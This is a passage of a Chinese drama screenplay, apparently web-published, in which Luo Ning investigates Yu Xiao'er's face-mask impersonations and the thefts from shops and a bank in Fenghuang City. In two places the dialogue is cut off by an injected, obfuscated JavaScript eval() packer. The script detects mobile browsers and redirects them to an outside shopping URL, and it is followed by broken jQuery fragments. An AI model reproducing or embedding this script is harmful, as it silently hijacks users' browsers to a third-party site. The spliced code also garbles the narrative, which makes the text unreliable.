就在他掉头之际,洛宁甩开他逃了出去,他跟着便追,终于在一个角落里逮住了她。 洛宁:放开我!放开我!…… 她奋力挣扎,信纸却从怀里掉了出来,张正清见了,立马冲上去,将信纸揉成一团塞进袖子里。 张正清:嘿嘿,这下没辙了吧?小屁孩,回头我再跟你算账!哼!(气冲冲地走了) 3-69 督察府,洛宁和田佳的屋子(日,内) 人物:洛宁 洛宁装模作样地整理着桌上的案卷,心里却惦记着那封信的事。 洛宁(内心独白):唉!刚才信纸落在地上的刹那,我只匆匆瞥了一眼,也没看清楚上面到底写了些什么。不过看张大哥那副样子,这件事肯定非同小可。不行!我得赶在他之前,把一切弄个明白! 3-70 天地会总会,恩威堂,顾云飞的屋子(日,内) 人物:洛宁、顾云飞 洛宁拎着食盒,来恩威堂里找顾云飞。 洛宁:(甜甜地叫)云飞大哥!这是我亲手做的樱桃蜜饼,最适合给你当茶点了! 顾云飞:樱桃蜜饼?我记得上次你做这个还是刚回凤凰城的时候,而且只做了一份,孝敬了你爷爷,别人都没有。怎么今天对我这么优待呀? 洛宁:(笑得更甜了)因为咱俩关系铁嘛! 顾云飞:真的吗?我记得你曾经说过,这个樱桃蜜饼做起来特别费劲儿,不仅要把樱桃核一个一个地剥出来,还不能弄坏了樱桃,要让每颗樱桃看上去就像是刚刚摘下来的一样。 洛宁:对呀!为了做这个樱桃蜜饼,光是剥樱桃核,就足足花了我两个时辰呢!(摊开手)你瞧瞧我的手,到现在还红着呢! 顾云飞:啧啧,真不容易!我顾云飞何德何能,能成为在总会长之后、第二个有幸吃到你亲手做的樱桃蜜饼的人?哦,对了!你哥呢?有没有给他也做一份呀? 洛宁:(板起脸)云飞大哥,你什么意思呀?说起话来夹枪带棒,好像我做这个樱桃蜜饼,是为了害你似的。你又不是没吃过我做的东西,怎么今天偏偏就起了疑心呢? 顾云飞:无事不登三宝殿!你这个丫头,只要对我献殷勤,肯定没安好心。 洛宁:那你到底是吃还是不吃呢? 顾云飞:吃呀!这么好的东西,怎么能错过呢?(拿起一块放进嘴里,跟着不住地点头)嗯嗯,不错不错!难怪总会长对它赞不绝口,果然非常好吃! 洛宁:嘻嘻!云飞大哥,既然你吃了我的东西,是不是应该帮我办点儿事呀? 顾云飞:办!当然要办!我就算不吃你的东西,你也照样会找我办事,你那副死缠烂打的德性,谁没领教过呀? 洛宁:(沉下脸)顾云飞! 顾云飞:呵呵,终于肯露出真面目了呀?说吧!什么事? 她不高兴地撅起嘴。 顾云飞:不说是吧?那我可就送客了! 洛宁:(没好气地)送什么客呀?我是客吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007373|194058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顾云飞:你不是客,你是我的小祖宗!说吧,小祖宗!什么事? 她还是撅着嘴不肯说。 顾云飞:(捏了捏她的小嘴)瞧瞧这张小嘴,可以挂个油瓶子了!是你自己不肯说,不是我不帮你哟! 洛宁:(气呼呼地瞪了他一眼,方才开口)云飞大哥,我要你帮我打听一件事。 顾云飞:什么事? 洛宁:玉屏山。 顾云飞:玉屏山?是漠州北面的那座山吗? 洛宁:正是。 顾云飞:那里怎么了? 洛宁:我也不清楚,但肯定出了什么事。 顾云飞:漠州又不归你们督察府管,你怎么会突然对这个感兴趣? 洛宁:正因为它不归我们管,所以才只能请你帮忙呀! 顾云飞:不归你们管,你们就不能管吗?你们张督察的本事,难道只有这么一点点呀? 洛宁:他不知情,是我自己要查。 顾云飞:你查这个干什么? 洛宁:你到底帮还是不帮呀? 顾云飞:(故作无奈)漠州那么远,我一个闭门不出的人,虽然心里很想帮你,奈何鞭长莫及呀! 洛宁:少来了!别以为我不知道,四个堂里面,就数你们恩威堂的消息最灵通!不止是沉香国,就连周边的赤晓国、沛卫国等地,也有你们的耳目! 顾云飞:(眯起眼)谁告诉你的?是不是银华? 洛宁:甭管谁告诉我的!反正你已经吃了我的樱桃蜜饼,这件事你管也得管、不管也得管! 顾云飞:哟呵!臭丫头,你也不看看这里是谁的地盘?敢在我的面前撒野,走!给我出去! △他像拎小鸡一样拎起她就往外走,她死死地抱住他,像小猴黏在母猴身上一样,坚决不撒手。 洛宁:我不出去!我不出去!除非你答应我!哼! 顾云飞:臭丫头!跟我耍无赖,我可不吃这一套! 洛宁:你不吃这一套,但你吃了我的东西,这一点你想赖也赖不掉!只要你把我从这里赶出去,我立马去告诉所有人,说你得了我的好处、却不给我办事,是一个出尔反尔、不讲信用的人! 顾云飞:哟呵!臭丫头,没看出来你还会造谣啊?照这样说,我还真不能放你出去,免得横生事端!走!给我进去!从现在起,你给我老老实实地待在这里、闭门思过,没有我的允许,你想走也走不了!哼! 他把她扔进屋子里,锁上门,任她在里面大喊大叫,他头也不回地走了。 3-71 洛府,木兰小院,洛宁的屋子(日,内) 人物:洛宁、银华、顾云飞 顾云飞不肯帮忙,洛宁又找上了银华。 洛宁:银华!我问你,如果有一天,我和顾云飞同时落入水中,你先救谁? 银华:老大的水性比我好,没等我下去,他就已经把你救上来了。 洛宁:如果他见死不救呢? 银华:那我当然是先救你了。 洛宁:(嘻嘻一笑,切入正题)银华,既然你对我这么好,不如替我办件事吧! 银华:(面露难色)那个……老大说了,事无巨细,只要与你有关,都必须向他汇报。若有谁胆敢知情不报,杀无赦!(做了个抹脖子的手势) 洛宁:事无巨细?(眯起眼)听你这意思,该不会连我什么时候上床睡觉、他都知道得一清二楚吧? 银华:这…… 洛宁:看来是了。哼!(打开窗子,朝着湖对岸恩威堂的方向连吼三声)顾云飞,你这个变态,去死吧!顾云飞,你这个变态,去死吧!顾云飞,你这个变态,去死吧! 第三声话音刚落,顾云飞已出现在了门口。 顾云飞:(怒目圆睁)臭丫头,你骂谁呢? 洛宁:(双手叉腰,毫不示弱)骂的就是你!哼! 顾云飞:银华,你先出去! 银华:老大…… 顾云飞:(吼)出去! 银华无奈,只好离开。刚走出木兰小院,便听见里面传来噼里啪啦的声音,夹杂着顾云飞的怒吼声和洛宁的哀嚎声。 银华:(叹了口气)唉,何苦呢! 3-72 洛府,木兰小院,洛宁的屋子(夜,内) 人物:洛宁、洛青 洛宁的屁股肿了,洛青正在给她上药。 洛宁:哎哟哎哟!你轻点儿!疼! 洛青:现在知道疼了?当初干什么去了?要我说,你就是活该! 洛宁:(不服气地)是他有错在先! 洛青:那又怎样?你打得过他吗? 洛宁:我要是能打得过他,这会儿躺在床上的人就不是我了。哼! 3-73 天地会总会,恩威堂,顾云飞的屋子(夜,内) 人物:风无行、顾云飞 风无行来找顾云飞喝茶。 风无行:你呀你,下手未免也太重了些,那丫头的屁股都被你打肿了。 顾云飞:这已经是最轻的了! 风无行:你打她的时候,心疼吗? 顾云飞:又没打在我的身上,心疼什么? 风无行:(皱眉)今天的茶,味有点儿不太对,你的茶壶是不是拿错了? 顾云飞低头一看, 果然拿错了茶壶,不由得瞪了风无行一眼。 风无行:(笑)呵呵,我就说你是言不由衷嘛! 27. 第三篇 鱼小儿的易容术 梁州,凤凰城 3-74 洛府,木兰小院,走廊上(日,内) 人物:洛宁、欧阳兰兰 过了几天,洛宁屁股上的肿消了,正打算去督察府,却见欧阳兰兰气冲冲地来了。 欧阳兰兰:(进门便道)唉,真是气死我了! 洛宁:怎么了?发生什么事了? 欧阳兰兰:宁姐姐,我想请你帮忙查个案子。 洛宁:你想请我帮忙查案子?什么意思? 欧阳兰兰:等你查清楚了,我必定重重地谢你! 一听说有钱拿,洛宁顿时来了劲儿。 洛宁:什么案子?你说! 欧阳兰兰:昨儿我去凤仪堂里收账,发现少了足足六百两银子,我问店里的那两个伙计,她们竟然说是被我拿走了。 洛宁:什么时候的事? 欧阳兰兰:前阵子我不是去隆州玩了几天吗?这笔银子就是那几日的收入。 洛宁:(一脸的艳羡)才几天的工夫,就能进账六百两银子。欧阳兰兰,你可真是个小富婆呀! 欧阳兰兰:谁让咱们凤仪堂的东西好呢!如今不止是凤凰城,很多别处的人,听闻凤仪堂的面脂效果神奇,也都千里迢迢地过来买呢! 洛宁:这跟那六百两银子有何关系? 欧阳兰兰:我虽然出门在外,心里却一直惦记着凤仪堂的生意。这不一回来,立马就去查看了嘛…… 洛宁:然后呢? 欧阳兰兰:我去店里收账,伙计却说我已经把账收走了。哼!肯定是她俩合起伙来,趁着我不在店里时,把那笔银子给偷藏起来了! 洛宁:这种事情你可以去报官,哪里用得着来找我呀? 欧阳兰兰:我去县衙里找杜大人,他却说像我这种情况,最近多得很,还问我是不是记错了。 洛宁:这么说,丢银子的不止你一家呀?你到底收没收呀? 欧阳兰兰:我又不是小孩子,怎么会记不清楚?我明明是第二天早上过去的,那两个伙计却说我是头一天晚上来的。哼!她俩肯定早就串通好了,编出这样的谎言来骗我! 洛宁:那两个伙计在你店里也不是一天两天了,为了六百两银子,弄得主仆之间互生嫌隙,何苦呢? 欧阳兰兰:哼!她俩肯定是见店里的生意好,眼红了呗! 洛宁:你刚才说,像你这种情况的最近多得很,还有哪些? 欧阳兰兰:在我们那条街上,但凡生意好一点儿的铺子,几乎家家都遇到过这种情况。都是店家来收账,伙计却说账已经被收走了。 洛宁:这么巧? 欧阳兰兰:可不是嘛!总不至于所有人都记错了吧? 洛宁:也是啊!杜大人呢?他审问过那些伙计没? 欧阳兰兰:他现在忙得很,有时候连他自己都忘了该审谁。不过我听说,你们张督察也跟他一样,忙得焦头烂额。嘻嘻!刘金莲肚子里面的孩子,到底是不是他的? 洛宁:这个嘛……恐怕只有等孩子生下来之后,验过血了才知道。 欧阳兰兰:如果真是他的,那他这回岂不是要一下子妻妾成群了?啧啧,天底下的男人,果然都是一个样儿! 洛宁:妻妾成群还是小事,身败名裂才是大事!唉! 3-75 农舍(夜,内) 人物:鱼小儿、瑞香 鱼小儿刚进屋,一只鞋子便朝他飞了过来,啪的一声,正落在他的脑门上。 瑞香:(骂)死鬼!又背着我在外面偷腥! 鱼小儿:哟,今儿怎么回来了?媳妇儿,你天天跟洛堂主在一起,还记得有我这个相公吗? 瑞香:哼!若不是我,你现在还在那座山里饮雪吃冰呢! 鱼小儿:(冷笑一声)哼!若不是有那个同心结,你也早就跟你的小白脸远走高飞了! 瑞香:之前咱们可是说好了,玩归玩,千万别留下什么祸根儿。这下可好,你把人家刘金莲的肚子给搞大了,怎么办? 鱼小儿:怎么办?嘿嘿,当然是去给知县大人当上门女婿了! 瑞香:你敢娶她试试,信不信老娘阉了你! 鱼小儿:嘿嘿!媳妇儿,你放心,那孩子不是我的!我鱼小儿行走江湖这么多年,从来不会给自己添麻烦。不过媳妇儿,你跟洛堂主在一起这么久,他见过你的真容没? 瑞香:你…… 鱼小儿:他若见了你的真容,怕是会被吓得屁滚尿流。哈哈! 瑞香:你真打算在这个凤凰城里待一辈子吗? 鱼小儿:你说呢? 瑞香:哼,我就知道你没安好心!我问你,那些商户的银子是不是你偷了? 鱼小儿:偷?我鱼小儿这么大的本事,哪里用得着偷?我是堂堂正正地进去拿!不过话说回来,那点儿银子太少了,我压根儿看不上,不如咱俩合伙儿干一票大的。 瑞香:大的?什么意思? 鱼小儿:洛堂主在凤凰城里不是有家钱庄吗?那里面的银子,可比商铺里多多了! 瑞香:他的武功那么高,若是被他抓住,咱俩都难逃一死! 鱼小儿:富贵险中求嘛!老虎也有打盹儿的时候,他的买卖做得那么大,怎么可能天天都在钱庄里?更何况,如今你是他最宠爱的小妹妹,他杀谁也舍不得杀你呀! 瑞香:你的意思是让我去干? 鱼小儿:钱庄是你哥开的,你去那里理所当然。 瑞香:我的身上没有木兰花香,上次他一眼就认出来了。 鱼小儿:这还不简单吗?你假扮成丫鬟婆子,偷偷地潜入洛府,把树上的花儿摘两朵带在身上,不就一模一样了吗? 瑞香:这…… 鱼小儿:怎么样?是不是心动了?等拿到了这笔银子,咱们就离开凤凰城,到一个他们找不到的地方,当一对快活的神仙眷侣!哈哈哈! 3-76 督察府,张正清的屋子(日,内) 人物:张正清、乔捕头 收到王督察的回信后,张正清方知事态严重。 张正清(内心独白):那座监狱地处偏远,即使发生了地震,也无人知晓。若不是我的那封信,只怕王督察至今还被蒙在鼓里。如今他已带着手下在雪山上搜寻那些囚犯的尸体,若只逃出了鱼小儿一个人,倒还好办;若别的人也侥幸活了下来,那可就麻烦了! 乔捕头:(匆匆来报)大人!刘知县请您尽快过去,他的闺女出事了! 梁州,紫蔚城 3-77 县衙,前院(日,外) 人物:张正清、刘知县、阿超 阿超被五花大绑着跪在地上,他的身上,穿着与张正清一模一样的衣裳。刘知县的女儿刘金莲,早已哭晕了过去。 张正清:刘大人,怎么回事? 刘知县:(指着阿超对张正清)张大人,就是这个畜生,假扮成您的样子,骗了我家金莲! 张正清:你是怎么抓住他的? 刘知县:上次我从您那里回来后,金莲得知您不肯娶她,便一味地寻死觅活,我不得不派人日夜看守着她。可就在昨晚,她突然说要一个人出去走走,我意识到不对劲儿,便偷偷地跟着她,这才发现了这个畜生!(递上一张人脸面具)您看!他就是用这个假扮成了您! 这张人脸面具,对张正清来说再熟悉不过,当年他抓捕鱼小儿的时候,也屡次见过这个东西。 刘知县:大人!这个畜生骗了我家金莲,实在可恶至极,我恨不得一刀把他给杀了!奈何我家金莲的肚子里已经有了他的孩子,如今在紫蔚城,除了他之外,还有谁肯娶我家金莲?呜呜!真是造孽呀!呜呜! 张正清:(见刘知县哭得悲切)刘大人,我明白你的意思。(走过去对着阿超)阿超!鱼小儿在哪儿?你若乖乖地交代出他的下落,本官念在刘大人替你求情的份上,尚可对你网开一面…… 阿超:我说!我全都告诉你们! 梁州,凤凰城 3-78 洛宏的私宅(夜,内) 人物:瑞香、鱼小儿 自从来到了凤凰城,瑞香便被洛宏安排在私宅里居住。这一日,她刚刚睡下,却见鱼小儿来了。 瑞香:死鬼,不是说了让你别来这里吗? 鱼小儿:我无处可去,不来不行呀! 瑞香:怎么了? 鱼小儿:阿超那个蠢货,我让他别再去找刘金莲了,可他偏偏不听!如今他被官府的人抓住,肯定会供出我。 瑞香:(冷笑一声)我听说最近这几日,你夜夜都搂着群芳楼的胭脂姑娘入睡,怎么不去找她呀? 鱼小儿:媳妇儿,这都什么时候了,你就别再奚落我了。那个洛堂主呢?他怎么没在这里? 瑞香:他出门谈生意去了。 鱼小儿:怎么没带上你? 瑞香:我来了月事,不方便跟过去。 鱼小儿:是吗?让我瞧瞧!(伸手去掀瑞香的裙子,却被她打了回去) 瑞香:死鬼!滚一边去! 鱼小儿:嘿嘿,我就知道你在撒谎! 瑞香瞪了他一眼,起身下床,从桌上的盒子里取出一样东西。 瑞香:你瞧瞧!这是什么? 鱼小儿:木兰花?你去洛府了? 瑞香:今儿下午去的,差点儿没把我吓死。 鱼小儿:怎么了?他们发现你了? 瑞香:他们若是发现我了,我还能在这里吗? 鱼小儿:那是怎么回事? 瑞香:那棵木兰花树果然十分玄妙!我摘花的时候,枝头上竟然冒出了丝丝黑气,还传来一些非常古怪的声音。 鱼小儿:什么声音? 瑞香:像是有很多人在哭,听上去凄厉无比,吓得我从树上掉了下来,到现在腿还疼呢! 鱼小儿:哪里疼?我给你揉揉! 瑞香:哼,还知道心疼你的媳妇儿呀? 鱼小儿:嘿嘿,我自己的媳妇儿,我不心疼谁心疼呀?(一边给她揉腿一边问)那你打算什么时候动手? 瑞香:花已经摘了,当然是尽快动手了!(用指甲去戳鱼小儿的脑门)你呀你,早不出事、晚不出事,偏偏在这个时候出了事,真是个拖油瓶!哼! 鱼小儿:(顺势搂住她)嘿嘿,谁让咱俩是夫妻呢! 3-78 钱庄(日,内) 人物:瑞香、钱庄伙计 第二天,瑞香刻意精心打扮了一番,将木兰花揣在身上,来到了钱庄里。 钱庄的伙计一眼便认出了她,笑着迎了上来。 钱庄伙计:二小姐,您来了! 瑞香:康大哥,我想取点儿钱。 钱庄伙计:您想取多少? 瑞香:户头上还有多少? 钱庄伙计:您稍等片刻,我这就帮您算算。(翻开账册,拨打算盘珠)嗯……还有不到一千两银子。 瑞香:(皱起眉头)不到一千两? 钱庄伙计:怎么?是不是不够?您还想要多少? 瑞香:不瞒你说,昨儿欧阳兰兰来找过我,说她的凤仪堂打算在别处再开一家分店,我见她的生意越来越红火,心想着若跟她合伙,也能顺带赚点儿脂粉钱。 钱庄伙计:您哥哥有的是钱,哪里用得着您来赚钱呀? 瑞香:我哥的钱虽多,可整个天地会上上下下那么多人,都指望着他来照应。每个月能给我的,也没多少。 钱庄伙计:嗯,也是。那您想要多少?要不我按最低的利息借给您,等您赚了钱之后再还过来。 瑞香:少说也要十万两银子。 钱庄伙计:十万两? 瑞香:怎么?这么大的钱庄,总不至于连十万两银子都拿不出来吧? 钱庄伙计:有倒是有,不过您得先去那间屋子里立一份字据。(指了指身后那间半开着门的屋子) 瑞香:这有何难?我这就去写! 3-79 钱庄(日,内) 人物:洛宏、紫旭、瑞香、钱庄伙计 钱庄的伙计领着瑞香进了那间屋子,又出去拿文书。 瑞香坐在椅子上,从后面伸出两只大手,一把搂住她。 洛宏:(笑盈盈地)妹儿,你怎么来了? 瑞香:(回头一看,顿时慌了神)哥……哥哥! 洛宏:(深吸一口气)好香啊!是木兰花的味儿,我最爱这个了! 瑞香:(结结巴巴地)哥……哥哥,你……你不是出门谈生意去了吗?怎么……怎么这么快就回来了? 洛宏:我在这里等着你呢! 此话一出,瑞香便意识到自己落入了他的圈套之中。 洛宏松开手,在她对面坐下。此时他的眼神,已变得十分冰冷。 洛宏:宁儿的户头上,其实一文钱都没有。 瑞香:(大吃一惊)什么?! 洛宏:她的户头,就是我的户头。你明白我的意思吗? 瑞香:这么说,你早就知道我会来这里。 洛宏:(笑着摇摇头)不!你说错了,宁儿从不会来这里!她若有求于我,会悄悄地钻进我的被窝里,趁着我上床睡觉的时候,突然冒出来吓我一跳;而我一闻到屋子里的木兰花香,就知道她来了。 瑞香:你们兄妹俩的关系果然不一般……(话没说完,喉咙已被他掐住) 洛宏:如果今天,你只是假扮宁儿、来银号里骗钱,我还可以原谅你。可惜你不懂规矩、偷摘了木兰花,这一点,令我很生气!(稍一用力, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007374|194058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瑞香的脖子快要断了) 瑞香:(哭着哀求)哥……哥哥!我……我是宁儿! 洛宏:(盯着她的脸,缓缓地松开手)罢了!看在这张脸的份上,我不想亲自动手。(朝门外喊)紫旭,把这个女人带出去,我不想再见到她! 根据阿超的供述,官府很快便抓住了那些在逃的案犯,又根据人脸面具上的气味,动用猎犬,搜捕鱼小儿。可惜的是,鱼小儿如同人间蒸发了一样,下落全无。 3-80 洛府,木兰小院,木兰花树下(日,外) 人物:余守泰、金鹏 金鹏心疼余守泰,只要一有空,就会来帮他干活儿。 余守泰:鹏子!这个鱼小儿的易容术真的有那么神吗? 金鹏:个个县太爷都以为他是张督察,你说神不神? 余守泰:看来是真神了!唉,要是我也会这种易容术的话,那该多好呀!我可以假扮成你的模样,到那时还愁没有姑娘愿意嫁给我吗? 金鹏:你总不至于连成亲的时候,也要戴着一张假面具吧? 余守泰:只要能娶到媳妇,让我戴着假面具过一辈子都行! 金鹏:你娶不到媳妇,不是因为你岁数大、也不是因为你穷,而是因为你眼高手低,总想找年轻又漂亮的黄花大闺女。你也不想想,如果哪天你自己当了爹,有一个年轻又漂亮的女儿,你愿意她嫁给一个老男人吗? 余守泰:听你这话的意思,我是不是该找一个小寡妇呀?我余守泰长这么大,连女人的嘴都没亲过,你却让我娶一个别的男人碰过的女人,我这心里能不膈应吗?若换成你,你乐意呀? 金鹏:我不是这个意思,我的意思是让你不要光看女人的外表…… 余守泰:不看外表看什么呀?她心里想什么我哪儿知道呀! 金鹏:得得得,我不跟你说了!只要你高兴,娶谁都行!唉! 金鹏拎着桶去水井旁了,余守泰一锄头下去,土里竟然冒出了一朵木兰花。 余守泰:咦!是木兰花?(抬头看了看木兰花树)不对呀!这花不是从来不谢吗?怎么会落在地上?(捡起来闻了闻)嗯嗯,还挺香!扔了怪可惜,要不我先留着吧! 余守泰把木兰花揣进了怀里,又接着干活儿。 漠州,胡杨城 3-81 云顶古堡,大厅(日,内) 人物:慕容深、鱼小儿 慕容深将一个木匣子递给鱼小儿。 慕容深:这个给你,可以留作纪念。 鱼小儿打开木匣子一看,顿时哭了。 木匣子里放着一个女人的手骨,手心里攥着一朵木兰花。 鱼小儿:媳妇儿,是我对不住你!是我害死了你呀!呜呜! 慕容深:官府的人正在四处找你,你暂时不要去凤凰城了,留在我身边听候差遣吧。 鱼小儿:洛堂主那么喜欢她的那张脸,为何还要杀死她呀? 慕容深:你知道这朵木兰花对他来说,意味着什么吗? 鱼小儿:什么? 慕容深:十年。 鱼小儿:十年? 慕容深:因为你们,他的计划不得不推迟了。唉! 梁州,凤凰城 3-82 督察府,张正清的屋子(日,内) 人物:张正清、洛宁、田佳 皇上召张正清回京,洛宁和田佳也想跟着去。 张正清:我是去面圣,你俩去干嘛? 洛宁:张大哥,你答应过我们,不能食言呀! 张正清:这次是公事,我去去就回,没空陪你们闲逛。 田佳:没关系,我们可以自己去嘛! 洛宁:对呀!田佳以前在京城里待过一阵子,对那里很是熟悉,有她在,你完全不用担心我会迷路。 张正清:我倒是不担心你会迷路,我只担心你会闯祸。 洛宁:(撇了撇嘴,扭头问田佳)田佳,你今年是不是还没有休过探亲假? 田佳:对呀,怎么了? 洛宁:凤凰城里的天越来越热,不如趁张大哥回京的工夫,咱们也找一个凉爽的地方,好好地玩一玩? 田佳:行呀!你想去哪里? 洛宁:漠州怎么样?我听说那里的玉屏山,是漠州境内的最高峰,不如咱们去挑战一下? 张正清:(连忙干咳两声)咳咳!那个……你俩还是跟我去京城吧!漠州那边荒凉得很,一点儿也不好玩! 说完他狠狠地瞪了洛宁一眼,她却得意地笑了。 洛宁跟着张正清去了京城,木兰小院里顿时安静了许多。 3-83 天地会总会,若无湖畔(日,外) 人物:洛宏、顾云飞 洛宏从木兰小院里出来,正碰上顾云飞。见到他,洛宏本来阴沉的脸色,变得更加难看了。 洛宏:顾云飞! 顾云飞:(轻轻一笑)你数过了没?少了几朵? 洛宏:哼,我就知道是你干的! 顾云飞:(一脸的无辜)我可是什么都没做哟! 洛宏:你明知她来了,却不拦着她,比她更该死! 顾云飞:唉,最近眼神不太好,一不小心把她当成府里的丫鬟了。不过好在没酿成什么大错,你那边不是已经把一切都办妥了吗? 望着他嬉皮笑脸的样子,洛宏的眼里冒出火来。 洛宏:顾云飞呀顾云飞,你真是太令人讨厌了! 顾云飞:我也不想碍你的眼,奈何同在一个屋檐下。唉,怎么办呢?要不咱俩打一架吧!这次想去哪儿?天上还是地下? 洛宏:水里。 顾云飞:水里?呵呵,果然是个好地方啊! 就在二人一前一后跃入若无湖中的刹那,天地间忽然狂风大作、黄沙四起,倏地一声惊雷,暴雨滂沱而至…… 3-84 天地会总会,辞心居(日,内) 人物:洛元恒、龚尚、洛青 龚尚在陪洛元恒下棋,洛青在一旁侍奉着茶水。见门窗被狂风刮得呼呼作响,洛青急忙过去关紧。洛元恒的眼睛虽然盯着棋盘,眉头却皱了起来。 洛元恒:唉,天变得可真快! 龚尚:已经有阵子没下雨了,地里的庄稼都蔫了,这场雨虽大,来得倒也及时。 洛青:我记得宁儿刚回凤凰城的时候,也下过一场这样的雨。当时凤凰城里许多户人家的屋顶都被风掀翻了,树木也被刮倒了不少。人们都说,这场雨百年难得一见。 洛元恒:百年难得一见?(轻轻一笑)这才过去了多久,竟然又遇上了。依我看,这样的雨,以后年年都会有。(说完又低下头去,继续盯着棋盘) 风越刮越猛,雨越下越大,直到三天之后,方才作罢。 28. 第四篇 表哥和他的朋友 显州,景源城 4-1 客栈,客房(夜,内) 人物:洛宁、田佳 前往京城的路上,一行人在客栈里投宿。 一觉醒来,洛宁觉得口干,下床喝水,见田佳还在妆台前忙活。 洛宁:田佳,你不睡觉吗? 田佳:(正在往脸上擦面脂)我用完这个就睡。 见田佳的面前摆放着数个瓶子,洛宁好奇地上前查看。 洛宁:咦,这些不是凤仪堂的东西吗? 田佳:对啊,都是欧阳兰兰向我推荐的。 洛宁:你以前不是从来不用这个吗? 田佳:我以前是不用,因为我觉得干我们这一行,只要功夫好、能抓住坏蛋就够了;身上若有太多的脂粉气,反倒会被人笑话。可是我前阵子听欧阳兰兰说,女孩子的皮肤薄、非常娇气,年轻时若不好好保养,等老了后悔都来不及。更何况干我们这一行,风里来雨里去,比同龄人来说,老得更快!你看甜妞儿就是最好的例子,她才多大岁数呀,看上去比你姐还要憔悴。你再看人家欧阳兰兰,只比甜妞儿小几岁而已,看上去却像是两代人。思来想去,虽然我是个捕快,可我也是个女孩子呀,别的都可以将就,但这张脸还是不能马虎。 洛宁:嘻嘻,你该不会也愁嫁了吧? 田佳:你以为每个人都像你这样天生丽质呀?你瞧瞧你,不梳妆不打扮,依旧容光焕发,多令人羡慕呀!我要是有你这样的美貌,也用不着拿自己一半的薪水、去买这些昂贵的面脂了。 洛宁:这些东西怎么样?有没有传说中那么神奇? 田佳:我才开始用,好不好不清楚。不过欧阳兰兰说我买的这些东西能让脸变得光滑细腻,尤其是这瓶,还能避免被太阳晒黑了。正好这次来京城,一路上风吹日晒,可以验证一下它是否真的有效。 洛宁:嗯,那你继续忙吧! 洛宁刚打算回到床上,肚子却咕咕叫了起来,她便离开屋子,下楼去找吃的。 4-2 客栈,大堂(夜,内) 人物:张正清、洛宁、客栈伙计 楼下,店小二正忙着收拾碗筷。 洛宁:小二,店里的鸡腿还有吗?我想吃了! 店小二:鸡腿吗?呀,真不巧,最后一个给那位爷端去了! 店小二指了指大堂,里面只剩下一位客人,在窗前自斟自饮,他的面前摆着一个盘子,盘子里有一只肥得流油的大鸡腿。 洛宁:(走过去一看便笑了)张大哥,你怎么还没睡呀? 张正清:酒瘾上来了,想喝两杯。你呢?怎么也没睡呀? 洛宁:我肚子饿了,下来找点儿吃的。(瞅着他面前的鸡腿,咽了咽口水) 张正清:(微微一笑)想吃吗? 洛宁:(忙不迭点头)嗯嗯。 张正清:先回答我几个问题。 洛宁:又要审我?张大哥,你怎么一天到晚这么多事呀? 张正清:不想说也行,反正鸡腿只剩下这么一个,我还打算拿它当下酒菜呢! 洛宁:得得得,你问吧! 张正清:你对那些人了解多少? 洛宁:谁? 张正清:你说呢? 洛宁:我哪知道你指的是谁呀? 张正清:看来这只鸡腿,你是不想吃了。 他拿起鸡腿,这就要往嘴里送,被洛宁拦住。 洛宁:别别别!我说!我说! 张正清:给我老老实实交代清楚,不然的话就没得吃!哼! 洛宁:(嘟哝)唉,当你的手下可真难…… 张正清:(瞪着她)你到底说不说? 洛宁:鱼小儿的事,传遍了大街小巷,凤凰城里无人不知…… 张正清:我说的不是他! 洛宁:(吓了一跳)还有?天哪!一个鱼小儿已经把凤凰城闹得鸡犬不宁,若再多来几个,岂不是要天下大乱了? 张正清:(眯起眼)你是真不知道还是假不知道? 洛宁:(没好气地)你说呢?我又不是你,想打听什么,动动嘴就行了。你若是不告诉我,我什么都不知道。 张正清:知道我为何总叫你小鬼吗? 洛宁:为何? 张正清:因为你太鬼了! 洛宁:(没好气地)张大哥,不管我说真话还是说假话,你都认为我在骗你。既然不信任我,当初又何必用我? 她说到这里,竟有些委屈,见她这样,张正清的语气顿时软了下来。 张正清:得得得!我明白了,你是在生我的气呀!怪我当初瞒着你,对不对?唉,是我错了!我向你道歉,这样总行了吧? 洛宁:(撅着嘴,不肯原谅他)哼! 张正清:(呵呵一笑,将鸡腿推到她面前)给,吃吧! 洛宁:(不领情,又将鸡腿推了回去)我现在可是你的犯人。 张正清:那你想怎样?难道要我跪下来给你磕头吗? 洛宁:我又不是皇上,哪里受得起呀? 张正清:那你倒是说说,怎样才肯原谅我? 洛宁:(想了想)你去把大忏悔文抄十遍,不抄完不许睡觉。 张正清:你…… 洛宁:快去呀!不抄完的话,别指望我会原谅你! 张正清:小鬼! 洛宁:你到底去不去呀?不去的话,我可就更生气了! 张正清:行行行,我去!我这就去抄!唉! 4-3 客栈,客房(夜,内) 人物:张正清、黄毅 张正清回到楼上的客房,叫醒了黄毅。 张正清:黄毅,快起来!别睡了! 黄毅:(迷迷糊糊地)怎么了,老大? 张正清:过来抄大忏悔文! 黄毅:(揉揉眼睛)抄大忏悔文?……这个时候? 张正清:这个时候人的头脑最清明,最适合忏悔了,抄一句顶平常抄十句! 黄毅:真……真的吗? 张正清:什么真的假的?我让你抄你就抄,赶紧起来! 趁着黄毅抄大忏悔文的工夫,张正清往床上一倒,呼呼大睡。 4-4 客栈,前院(日,外) 人物:张正清、洛宁、黄毅 第二天早上,张正清把抄好的大忏悔文拿给洛宁。 张正清:你要的大忏悔文,整整十遍,全抄好了,一个字不少!你瞧瞧! 洛宁:(瞅了一眼)这是你抄的吗? 